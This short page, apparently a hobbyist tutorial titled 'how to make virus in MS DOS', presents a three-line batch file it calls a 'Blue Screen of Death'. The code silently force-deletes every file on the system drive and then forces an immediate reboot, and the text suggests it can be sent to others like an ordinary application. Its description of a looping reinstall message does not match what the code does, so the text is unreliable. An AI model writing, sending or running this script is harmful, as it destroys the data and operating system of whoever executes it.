how to make virus in MS DOS

The blue screen of Death [this might be dangerous]

The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again

CODE..

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00